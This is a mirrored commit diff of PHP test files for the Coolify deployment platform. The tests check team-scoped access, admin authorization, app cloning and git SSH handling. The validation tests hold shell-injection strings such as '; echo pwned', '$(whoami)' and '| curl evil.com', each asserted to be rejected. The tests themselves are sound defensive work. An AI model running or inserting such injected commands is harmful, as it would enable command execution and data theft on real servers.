mirror of
https://github.com/tiennm99/coolify.git
synced 2026-10-15 02:16:43 +00:00
Merge remote-tracking branch 'origin/next' into 2731-investigate-failed-git-clone
This commit is contained in:
commit
7542c71dc4
526 files changed
+35656
-4543
No files matched your search
@@ -0,0 +1,132 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\ActivityMonitor;
|
||||
use App\Models\Server;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Livewire\Exceptions\CannotUpdateLockedPropertyException;
|
||||
use Livewire\Livewire;
|
||||
use Spatie\Activitylog\Models\Activity;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
|
||||
$this->otherTeam = Team::factory()->create();
|
||||
});
|
||||
|
||||
test('hydrateActivity blocks access to another teams activity via team_id', function () {
|
||||
$otherActivity = Activity::create([
|
||||
'log_name' => 'default',
|
||||
'description' => 'test activity',
|
||||
'properties' => ['team_id' => $this->otherTeam->id],
|
||||
]);
|
||||
|
||||
$this->actingAs($this->user);
|
||||
session(['currentTeam' => ['id' => $this->team->id]]);
|
||||
|
||||
Livewire::test(ActivityMonitor::class)
|
||||
->call('newMonitorActivity', $otherActivity->id)
|
||||
->assertSet('activity', null);
|
||||
});
|
||||
|
||||
test('hydrateActivity allows access to own teams activity via team_id', function () {
|
||||
$ownActivity = Activity::create([
|
||||
'log_name' => 'default',
|
||||
'description' => 'test activity',
|
||||
'properties' => ['team_id' => $this->team->id],
|
||||
]);
|
||||
|
||||
$this->actingAs($this->user);
|
||||
session(['currentTeam' => ['id' => $this->team->id]]);
|
||||
|
||||
$component = Livewire::test(ActivityMonitor::class)
|
||||
->call('newMonitorActivity', $ownActivity->id);
|
||||
|
||||
expect($component->get('activity'))->not->toBeNull();
|
||||
expect($component->get('activity')->id)->toBe($ownActivity->id);
|
||||
});
|
||||
|
||||
test('hydrateActivity blocks access to activity without team_id or server_uuid', function () {
|
||||
$legacyActivity = Activity::create([
|
||||
'log_name' => 'default',
|
||||
'description' => 'legacy activity',
|
||||
'properties' => [],
|
||||
]);
|
||||
|
||||
$this->actingAs($this->user);
|
||||
session(['currentTeam' => ['id' => $this->team->id]]);
|
||||
|
||||
Livewire::test(ActivityMonitor::class)
|
||||
->call('newMonitorActivity', $legacyActivity->id)
|
||||
->assertSet('activity', null);
|
||||
});
|
||||
|
||||
test('hydrateActivity blocks access to activity from another teams server via server_uuid', function () {
|
||||
$otherServer = Server::factory()->create([
|
||||
'team_id' => $this->otherTeam->id,
|
||||
]);
|
||||
|
||||
$otherActivity = Activity::create([
|
||||
'log_name' => 'default',
|
||||
'description' => 'test activity',
|
||||
'properties' => ['server_uuid' => $otherServer->uuid],
|
||||
]);
|
||||
|
||||
$this->actingAs($this->user);
|
||||
session(['currentTeam' => ['id' => $this->team->id]]);
|
||||
|
||||
Livewire::test(ActivityMonitor::class)
|
||||
->call('newMonitorActivity', $otherActivity->id)
|
||||
->assertSet('activity', null);
|
||||
});
|
||||
|
||||
test('hydrateActivity allows access to activity from own teams server via server_uuid', function () {
|
||||
$ownServer = Server::factory()->create([
|
||||
'team_id' => $this->team->id,
|
||||
]);
|
||||
|
||||
$ownActivity = Activity::create([
|
||||
'log_name' => 'default',
|
||||
'description' => 'test activity',
|
||||
'properties' => ['server_uuid' => $ownServer->uuid],
|
||||
]);
|
||||
|
||||
$this->actingAs($this->user);
|
||||
session(['currentTeam' => ['id' => $this->team->id]]);
|
||||
|
||||
$component = Livewire::test(ActivityMonitor::class)
|
||||
->call('newMonitorActivity', $ownActivity->id);
|
||||
|
||||
expect($component->get('activity'))->not->toBeNull();
|
||||
expect($component->get('activity')->id)->toBe($ownActivity->id);
|
||||
});
|
||||
|
||||
test('hydrateActivity returns null for non-existent activity id', function () {
|
||||
$this->actingAs($this->user);
|
||||
session(['currentTeam' => ['id' => $this->team->id]]);
|
||||
|
||||
Livewire::test(ActivityMonitor::class)
|
||||
->call('newMonitorActivity', 99999)
|
||||
->assertSet('activity', null);
|
||||
});
|
||||
|
||||
test('activityId property is locked and cannot be set from client', function () {
|
||||
$otherActivity = Activity::create([
|
||||
'log_name' => 'default',
|
||||
'description' => 'test activity',
|
||||
'properties' => ['team_id' => $this->otherTeam->id],
|
||||
]);
|
||||
|
||||
$this->actingAs($this->user);
|
||||
session(['currentTeam' => ['id' => $this->team->id]]);
|
||||
|
||||
// Attempting to set a #[Locked] property from the client should throw
|
||||
Livewire::test(ActivityMonitor::class)
|
||||
->set('activityId', $otherActivity->id)
|
||||
->assertStatus(500);
|
||||
})->throws(CannotUpdateLockedPropertyException::class);
|
||||
@@ -0,0 +1,118 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Admin\Index as AdminIndex;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Livewire\Livewire;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
test('unauthenticated user cannot access admin route', function () {
|
||||
$response = $this->get('/admin');
|
||||
|
||||
$response->assertRedirect('/login');
|
||||
});
|
||||
|
||||
test('authenticated non-root user gets 403 on admin page', function () {
|
||||
$team = Team::factory()->create();
|
||||
$user = User::factory()->create();
|
||||
$team->members()->attach($user->id, ['role' => 'admin']);
|
||||
|
||||
$this->actingAs($user);
|
||||
session(['currentTeam' => ['id' => $team->id]]);
|
||||
|
||||
Livewire::test(AdminIndex::class)
|
||||
->assertForbidden();
|
||||
});
|
||||
|
||||
test('root user can access admin page in cloud mode', function () {
|
||||
config()->set('constants.coolify.self_hosted', false);
|
||||
|
||||
$rootTeam = Team::find(0) ?? Team::factory()->create(['id' => 0]);
|
||||
$rootUser = User::factory()->create(['id' => 0]);
|
||||
$rootTeam->members()->attach($rootUser->id, ['role' => 'admin']);
|
||||
|
||||
$this->actingAs($rootUser);
|
||||
session(['currentTeam' => ['id' => $rootTeam->id]]);
|
||||
|
||||
Livewire::test(AdminIndex::class)
|
||||
->assertOk();
|
||||
});
|
||||
|
||||
test('root user gets 403 on admin page in self-hosted non-dev mode', function () {
|
||||
config()->set('constants.coolify.self_hosted', true);
|
||||
config()->set('app.env', 'production');
|
||||
|
||||
$rootTeam = Team::find(0) ?? Team::factory()->create(['id' => 0]);
|
||||
$rootUser = User::factory()->create(['id' => 0]);
|
||||
$rootTeam->members()->attach($rootUser->id, ['role' => 'admin']);
|
||||
|
||||
$this->actingAs($rootUser);
|
||||
session(['currentTeam' => ['id' => $rootTeam->id]]);
|
||||
|
||||
Livewire::test(AdminIndex::class)
|
||||
->assertForbidden();
|
||||
});
|
||||
|
||||
test('submitSearch requires admin authorization', function () {
|
||||
$team = Team::factory()->create();
|
||||
$user = User::factory()->create();
|
||||
$team->members()->attach($user->id, ['role' => 'admin']);
|
||||
|
||||
$this->actingAs($user);
|
||||
session(['currentTeam' => ['id' => $team->id]]);
|
||||
|
||||
Livewire::test(AdminIndex::class)
|
||||
->assertForbidden();
|
||||
});
|
||||
|
||||
test('switchUser requires root user id 0', function () {
|
||||
config()->set('constants.coolify.self_hosted', false);
|
||||
|
||||
$rootTeam = Team::find(0) ?? Team::factory()->create(['id' => 0]);
|
||||
$rootUser = User::factory()->create(['id' => 0]);
|
||||
$rootTeam->members()->attach($rootUser->id, ['role' => 'admin']);
|
||||
|
||||
$targetUser = User::factory()->create();
|
||||
$targetTeam = Team::factory()->create();
|
||||
$targetTeam->members()->attach($targetUser->id, ['role' => 'admin']);
|
||||
|
||||
$this->actingAs($rootUser);
|
||||
session(['currentTeam' => ['id' => $rootTeam->id]]);
|
||||
|
||||
Livewire::test(AdminIndex::class)
|
||||
->assertOk()
|
||||
->call('switchUser', $targetUser->id)
|
||||
->assertRedirect();
|
||||
});
|
||||
|
||||
test('switchUser rejects non-root user', function () {
|
||||
config()->set('constants.coolify.self_hosted', false);
|
||||
|
||||
$team = Team::factory()->create();
|
||||
$user = User::factory()->create();
|
||||
$team->members()->attach($user->id, ['role' => 'admin']);
|
||||
|
||||
// Must set impersonating session to bypass mount() check
|
||||
$this->actingAs($user);
|
||||
session([
|
||||
'currentTeam' => ['id' => $team->id],
|
||||
'impersonating' => true,
|
||||
]);
|
||||
|
||||
Livewire::test(AdminIndex::class)
|
||||
->call('switchUser', 999)
|
||||
->assertForbidden();
|
||||
});
|
||||
|
||||
test('admin route has auth middleware applied', function () {
|
||||
$route = collect(app('router')->getRoutes()->getRoutesByName())
|
||||
->get('admin.index');
|
||||
|
||||
expect($route)->not->toBeNull();
|
||||
|
||||
$middleware = $route->gatherMiddleware();
|
||||
|
||||
expect($middleware)->toContain('auth');
|
||||
});
|
||||
@@ -25,8 +25,8 @@ beforeEach(function () {
|
||||
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
|
||||
StandaloneDocker::withoutEvents(function () {
|
||||
$this->destination = StandaloneDocker::firstOrCreate(
|
||||
['server_id' => $this->server->id, 'network' => 'coolify'],
|
||||
$this->destination = $this->server->standaloneDockers()->firstOrCreate(
|
||||
['network' => 'coolify'],
|
||||
['uuid' => (string) new Cuid2, 'name' => 'test-docker']
|
||||
);
|
||||
});
|
||||
|
||||
@@ -0,0 +1,60 @@
|
||||
<?php
|
||||
|
||||
use App\Livewire\Project\Application\General;
|
||||
use App\Models\Application;
|
||||
use App\Models\Environment;
|
||||
use App\Models\Project;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Livewire\Livewire;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user = User::factory()->create();
|
||||
$this->team->members()->attach($this->user->id, ['role' => 'owner']);
|
||||
|
||||
$this->actingAs($this->user);
|
||||
session(['currentTeam' => $this->team]);
|
||||
|
||||
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
|
||||
});
|
||||
|
||||
describe('Application Redirect', function () {
|
||||
test('setRedirect persists the redirect value to the database', function () {
|
||||
$application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'fqdn' => 'https://example.com,https://www.example.com',
|
||||
'redirect' => 'both',
|
||||
]);
|
||||
|
||||
Livewire::test(General::class, ['application' => $application])
|
||||
->assertSuccessful()
|
||||
->set('redirect', 'www')
|
||||
->call('setRedirect')
|
||||
->assertDispatched('success');
|
||||
|
||||
$application->refresh();
|
||||
expect($application->redirect)->toBe('www');
|
||||
});
|
||||
|
||||
test('setRedirect rejects www redirect when no www domain exists', function () {
|
||||
$application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'fqdn' => 'https://example.com',
|
||||
'redirect' => 'both',
|
||||
]);
|
||||
|
||||
Livewire::test(General::class, ['application' => $application])
|
||||
->assertSuccessful()
|
||||
->set('redirect', 'www')
|
||||
->call('setRedirect')
|
||||
->assertDispatched('error');
|
||||
|
||||
$application->refresh();
|
||||
expect($application->redirect)->toBe('both');
|
||||
});
|
||||
});
|
||||
@@ -6,7 +6,7 @@ use App\Models\ApplicationSetting;
|
||||
describe('Application Rollback', function () {
|
||||
beforeEach(function () {
|
||||
$this->application = new Application;
|
||||
$this->application->forceFill([
|
||||
$this->application->fill([
|
||||
'uuid' => 'test-app-uuid',
|
||||
'git_commit_sha' => 'HEAD',
|
||||
]);
|
||||
@@ -85,4 +85,62 @@ describe('Application Rollback', function () {
|
||||
|
||||
expect($result)->not->toContain('advice.detachedHead=false checkout');
|
||||
});
|
||||
|
||||
test('setGitImportSettings uses provided git_ssh_command for fetch', function () {
|
||||
$this->application->settings->is_git_shallow_clone_enabled = true;
|
||||
$rollbackCommit = 'abc123def456abc123def456abc123def456abc1';
|
||||
$sshCommand = 'GIT_SSH_COMMAND="ssh -o ConnectTimeout=30 -p 22222 -o Port=22222 -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa"';
|
||||
|
||||
$result = $this->application->setGitImportSettings(
|
||||
deployment_uuid: 'test-uuid',
|
||||
git_clone_command: 'git clone',
|
||||
commit: $rollbackCommit,
|
||||
git_ssh_command: $sshCommand,
|
||||
);
|
||||
|
||||
expect($result)
|
||||
->toContain('-i /root/.ssh/id_rsa" git fetch --depth=1 origin')
|
||||
->toContain($rollbackCommit);
|
||||
});
|
||||
|
||||
test('setGitImportSettings uses provided git_ssh_command for submodule update', function () {
|
||||
$this->application->settings->is_git_submodules_enabled = true;
|
||||
$sshCommand = 'GIT_SSH_COMMAND="ssh -o ConnectTimeout=30 -p 22 -o Port=22 -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa"';
|
||||
|
||||
$result = $this->application->setGitImportSettings(
|
||||
deployment_uuid: 'test-uuid',
|
||||
git_clone_command: 'git clone',
|
||||
git_ssh_command: $sshCommand,
|
||||
);
|
||||
|
||||
expect($result)
|
||||
->toContain('-i /root/.ssh/id_rsa" git submodule update --init --recursive');
|
||||
});
|
||||
|
||||
test('setGitImportSettings uses provided git_ssh_command for lfs pull', function () {
|
||||
$this->application->settings->is_git_lfs_enabled = true;
|
||||
$sshCommand = 'GIT_SSH_COMMAND="ssh -o ConnectTimeout=30 -p 22 -o Port=22 -o LogLevel=ERROR -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -i /root/.ssh/id_rsa"';
|
||||
|
||||
$result = $this->application->setGitImportSettings(
|
||||
deployment_uuid: 'test-uuid',
|
||||
git_clone_command: 'git clone',
|
||||
git_ssh_command: $sshCommand,
|
||||
);
|
||||
|
||||
expect($result)->toContain('-i /root/.ssh/id_rsa" git lfs pull');
|
||||
});
|
||||
|
||||
test('setGitImportSettings uses default ssh command when git_ssh_command not provided', function () {
|
||||
$this->application->settings->is_git_lfs_enabled = true;
|
||||
|
||||
$result = $this->application->setGitImportSettings(
|
||||
deployment_uuid: 'test-uuid',
|
||||
git_clone_command: 'git clone',
|
||||
public: true,
|
||||
);
|
||||
|
||||
expect($result)
|
||||
->toContain('GIT_SSH_COMMAND="ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null" git lfs pull')
|
||||
->not->toContain('-i /root/.ssh/id_rsa');
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,160 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
use App\Models\ApplicationPreview;
|
||||
use App\Models\ApplicationSetting;
|
||||
use App\Models\Environment;
|
||||
use App\Models\LocalPersistentVolume;
|
||||
use App\Models\Project;
|
||||
use App\Models\ScheduledTask;
|
||||
use App\Models\Server;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$this->user = User::factory()->create();
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user->teams()->attach($this->team, ['role' => 'owner']);
|
||||
|
||||
$this->server = Server::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->destination = $this->server->standaloneDockers()->firstOrFail();
|
||||
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->environment = Environment::factory()->create(['project_id' => $this->project->id]);
|
||||
|
||||
$this->application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
'destination_id' => $this->destination->id,
|
||||
'destination_type' => $this->destination->getMorphClass(),
|
||||
'redirect' => 'both',
|
||||
]);
|
||||
|
||||
$this->application->settings->fill([
|
||||
'is_container_label_readonly_enabled' => false,
|
||||
])->save();
|
||||
|
||||
$this->actingAs($this->user);
|
||||
session(['currentTeam' => $this->team]);
|
||||
});
|
||||
|
||||
test('cloning application generates new uuid for persistent volumes', function () {
|
||||
$volume = LocalPersistentVolume::create([
|
||||
'name' => $this->application->uuid.'-data',
|
||||
'mount_path' => '/data',
|
||||
'resource_id' => $this->application->id,
|
||||
'resource_type' => $this->application->getMorphClass(),
|
||||
]);
|
||||
|
||||
$originalUuid = $volume->uuid;
|
||||
|
||||
$newApp = clone_application($this->application, $this->destination, [
|
||||
'environment_id' => $this->environment->id,
|
||||
]);
|
||||
|
||||
$clonedVolume = $newApp->persistentStorages()->first();
|
||||
|
||||
expect($clonedVolume)->not->toBeNull();
|
||||
expect($clonedVolume->uuid)->not->toBe($originalUuid);
|
||||
expect($clonedVolume->mount_path)->toBe('/data');
|
||||
});
|
||||
|
||||
test('cloning application with multiple persistent volumes generates unique uuids', function () {
|
||||
$volume1 = LocalPersistentVolume::create([
|
||||
'name' => $this->application->uuid.'-data',
|
||||
'mount_path' => '/data',
|
||||
'resource_id' => $this->application->id,
|
||||
'resource_type' => $this->application->getMorphClass(),
|
||||
]);
|
||||
|
||||
$volume2 = LocalPersistentVolume::create([
|
||||
'name' => $this->application->uuid.'-config',
|
||||
'mount_path' => '/config',
|
||||
'resource_id' => $this->application->id,
|
||||
'resource_type' => $this->application->getMorphClass(),
|
||||
]);
|
||||
|
||||
$newApp = clone_application($this->application, $this->destination, [
|
||||
'environment_id' => $this->environment->id,
|
||||
]);
|
||||
|
||||
$clonedVolumes = $newApp->persistentStorages()->get();
|
||||
|
||||
expect($clonedVolumes)->toHaveCount(2);
|
||||
|
||||
$clonedUuids = $clonedVolumes->pluck('uuid')->toArray();
|
||||
$originalUuids = [$volume1->uuid, $volume2->uuid];
|
||||
|
||||
// All cloned UUIDs should be unique and different from originals
|
||||
expect($clonedUuids)->each->not->toBeIn($originalUuids);
|
||||
expect(array_unique($clonedUuids))->toHaveCount(2);
|
||||
});
|
||||
|
||||
test('cloning application reassigns settings to the cloned application', function () {
|
||||
$this->application->settings->fill([
|
||||
'is_static' => true,
|
||||
'is_spa' => true,
|
||||
'is_build_server_enabled' => true,
|
||||
])->save();
|
||||
|
||||
$newApp = clone_application($this->application, $this->destination, [
|
||||
'environment_id' => $this->environment->id,
|
||||
]);
|
||||
|
||||
$sourceSettingsCount = ApplicationSetting::query()
|
||||
->where('application_id', $this->application->id)
|
||||
->count();
|
||||
$clonedSettings = ApplicationSetting::query()
|
||||
->where('application_id', $newApp->id)
|
||||
->first();
|
||||
|
||||
expect($sourceSettingsCount)->toBe(1)
|
||||
->and($clonedSettings)->not->toBeNull()
|
||||
->and($clonedSettings?->application_id)->toBe($newApp->id)
|
||||
->and($clonedSettings?->is_static)->toBeTrue()
|
||||
->and($clonedSettings?->is_spa)->toBeTrue()
|
||||
->and($clonedSettings?->is_build_server_enabled)->toBeTrue();
|
||||
});
|
||||
|
||||
test('cloning application reassigns scheduled tasks and previews to the cloned application', function () {
|
||||
$scheduledTask = ScheduledTask::create([
|
||||
'uuid' => 'scheduled-task-original',
|
||||
'application_id' => $this->application->id,
|
||||
'team_id' => $this->team->id,
|
||||
'name' => 'nightly-task',
|
||||
'command' => 'php artisan schedule:run',
|
||||
'frequency' => '* * * * *',
|
||||
'container' => 'app',
|
||||
'timeout' => 120,
|
||||
]);
|
||||
|
||||
$preview = ApplicationPreview::create([
|
||||
'uuid' => 'preview-original',
|
||||
'application_id' => $this->application->id,
|
||||
'pull_request_id' => 123,
|
||||
'pull_request_html_url' => 'https://example.com/pull/123',
|
||||
'fqdn' => 'https://preview.example.com',
|
||||
'status' => 'running',
|
||||
]);
|
||||
|
||||
$newApp = clone_application($this->application, $this->destination, [
|
||||
'environment_id' => $this->environment->id,
|
||||
]);
|
||||
|
||||
$clonedTask = ScheduledTask::query()
|
||||
->where('application_id', $newApp->id)
|
||||
->first();
|
||||
$clonedPreview = ApplicationPreview::query()
|
||||
->where('application_id', $newApp->id)
|
||||
->first();
|
||||
|
||||
expect($clonedTask)->not->toBeNull()
|
||||
->and($clonedTask?->uuid)->not->toBe($scheduledTask->uuid)
|
||||
->and($clonedTask?->application_id)->toBe($newApp->id)
|
||||
->and($clonedTask?->team_id)->toBe($this->team->id)
|
||||
->and($clonedPreview)->not->toBeNull()
|
||||
->and($clonedPreview?->uuid)->not->toBe($preview->uuid)
|
||||
->and($clonedPreview?->application_id)->toBe($newApp->id)
|
||||
->and($clonedPreview?->status)->toBe('exited');
|
||||
});
|
||||
@@ -1,6 +1,7 @@
|
||||
<?php
|
||||
|
||||
use App\Jobs\ApplicationDeploymentJob;
|
||||
use App\Support\ValidationPatterns;
|
||||
|
||||
describe('deployment job path field validation', function () {
|
||||
test('rejects shell metacharacters in dockerfile_location', function () {
|
||||
@@ -91,6 +92,28 @@ describe('deployment job path field validation', function () {
|
||||
->toBe('/docker/Dockerfile.prod');
|
||||
});
|
||||
|
||||
test('allows path with @ symbol for scoped packages', function () {
|
||||
$job = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$method = $job->getMethod('validatePathField');
|
||||
$method->setAccessible(true);
|
||||
|
||||
$instance = $job->newInstanceWithoutConstructor();
|
||||
|
||||
expect($method->invoke($instance, '/packages/@intlayer/mcp/Dockerfile', 'dockerfile_location'))
|
||||
->toBe('/packages/@intlayer/mcp/Dockerfile');
|
||||
});
|
||||
|
||||
test('allows path with tilde and plus characters', function () {
|
||||
$job = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$method = $job->getMethod('validatePathField');
|
||||
$method->setAccessible(true);
|
||||
|
||||
$instance = $job->newInstanceWithoutConstructor();
|
||||
|
||||
expect($method->invoke($instance, '/build~v1/c++/Dockerfile', 'dockerfile_location'))
|
||||
->toBe('/build~v1/c++/Dockerfile');
|
||||
});
|
||||
|
||||
test('allows valid compose file path', function () {
|
||||
$job = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$method = $job->getMethod('validatePathField');
|
||||
@@ -147,6 +170,17 @@ describe('API validation rules for path fields', function () {
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
});
|
||||
|
||||
test('dockerfile_location validation allows paths with @ for scoped packages', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['dockerfile_location' => '/packages/@intlayer/mcp/Dockerfile'],
|
||||
['dockerfile_location' => $rules['dockerfile_location']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
});
|
||||
});
|
||||
|
||||
describe('sharedDataApplications rules survive array_merge in controller', function () {
|
||||
@@ -164,7 +198,7 @@ describe('sharedDataApplications rules survive array_merge in controller', funct
|
||||
|
||||
// The merged rules for docker_compose_location should be the safe regex, not just 'string'
|
||||
expect($merged['docker_compose_location'])->toBeArray();
|
||||
expect($merged['docker_compose_location'])->toContain('regex:/^\/[a-zA-Z0-9._\-\/]+$/');
|
||||
expect($merged['docker_compose_location'])->toContain('regex:'.ValidationPatterns::FILE_PATH_PATTERN);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -203,6 +237,370 @@ describe('path fields require leading slash', function () {
|
||||
});
|
||||
});
|
||||
|
||||
describe('dockerfile_target_build validation', function () {
|
||||
test('rejects shell metacharacters in dockerfile_target_build', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['dockerfile_target_build' => 'production; echo pwned'],
|
||||
['dockerfile_target_build' => $rules['dockerfile_target_build']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('rejects command substitution in dockerfile_target_build', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['dockerfile_target_build' => 'builder$(whoami)'],
|
||||
['dockerfile_target_build' => $rules['dockerfile_target_build']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('rejects ampersand injection in dockerfile_target_build', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['dockerfile_target_build' => 'stage && env'],
|
||||
['dockerfile_target_build' => $rules['dockerfile_target_build']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('allows valid target names', function ($target) {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['dockerfile_target_build' => $target],
|
||||
['dockerfile_target_build' => $rules['dockerfile_target_build']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
})->with(['production', 'build-stage', 'stage.final', 'my_target', 'v2']);
|
||||
|
||||
test('runtime validates dockerfile_target_build', function () {
|
||||
$job = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
|
||||
// Test that validateShellSafeCommand is also available as a pattern
|
||||
$pattern = ValidationPatterns::DOCKER_TARGET_PATTERN;
|
||||
expect(preg_match($pattern, 'production'))->toBe(1);
|
||||
expect(preg_match($pattern, 'build; env'))->toBe(0);
|
||||
expect(preg_match($pattern, 'target`whoami`'))->toBe(0);
|
||||
});
|
||||
});
|
||||
|
||||
describe('base_directory validation', function () {
|
||||
test('rejects shell metacharacters in base_directory', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['base_directory' => '/src; echo pwned'],
|
||||
['base_directory' => $rules['base_directory']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('rejects command substitution in base_directory', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['base_directory' => '/dir$(whoami)'],
|
||||
['base_directory' => $rules['base_directory']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('allows valid base directories', function ($dir) {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['base_directory' => $dir],
|
||||
['base_directory' => $rules['base_directory']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
})->with(['/', '/src', '/backend/app', '/packages/@scope/app']);
|
||||
|
||||
test('runtime validates base_directory via validatePathField', function () {
|
||||
$job = new ReflectionClass(ApplicationDeploymentJob::class);
|
||||
$method = $job->getMethod('validatePathField');
|
||||
$method->setAccessible(true);
|
||||
|
||||
$instance = $job->newInstanceWithoutConstructor();
|
||||
|
||||
expect(fn () => $method->invoke($instance, '/src; echo pwned', 'base_directory'))
|
||||
->toThrow(RuntimeException::class, 'contains forbidden characters');
|
||||
|
||||
expect($method->invoke($instance, '/src', 'base_directory'))
|
||||
->toBe('/src');
|
||||
});
|
||||
});
|
||||
|
||||
describe('docker_compose_custom_command validation', function () {
|
||||
test('rejects semicolon injection in docker_compose_custom_start_command', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['docker_compose_custom_start_command' => 'docker compose up; echo pwned'],
|
||||
['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('rejects pipe injection in docker_compose_custom_build_command', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['docker_compose_custom_build_command' => 'docker compose build | curl evil.com'],
|
||||
['docker_compose_custom_build_command' => $rules['docker_compose_custom_build_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('allows ampersand chaining in docker_compose_custom_start_command', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['docker_compose_custom_start_command' => 'docker compose up && docker compose logs'],
|
||||
['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
});
|
||||
|
||||
test('rejects command substitution in docker_compose_custom_build_command', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['docker_compose_custom_build_command' => 'docker compose build $(whoami)'],
|
||||
['docker_compose_custom_build_command' => $rules['docker_compose_custom_build_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('allows valid docker compose commands', function ($cmd) {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['docker_compose_custom_start_command' => $cmd],
|
||||
['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeFalse();
|
||||
})->with([
|
||||
'docker compose build',
|
||||
'docker compose up -d --build',
|
||||
'docker compose -f custom.yml build --no-cache',
|
||||
'docker compose build && docker tag registry.example.com/app:beta localhost:5000/app:beta && docker push localhost:5000/app:beta',
|
||||
]);
|
||||
|
||||
test('rejects backslash in docker_compose_custom_start_command', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['docker_compose_custom_start_command' => 'docker compose up \\n curl evil.com'],
|
||||
['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('rejects single quotes in docker_compose_custom_start_command', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
['docker_compose_custom_start_command' => "docker compose up -d --build 'malicious'"],
|
||||
['docker_compose_custom_start_command' => $rules['docker_compose_custom_start_command']]
|
||||
);
|
||||
|
||||
expect($validator->fails())->toBeTrue();
|
||||
});
|
||||
|
||||
test('allows double quotes in docker_compose_custom_start_command', function () {
|
||||
$rules = sharedDataApplications();
|
||||
|
||||
$validator = validator(
|
||||
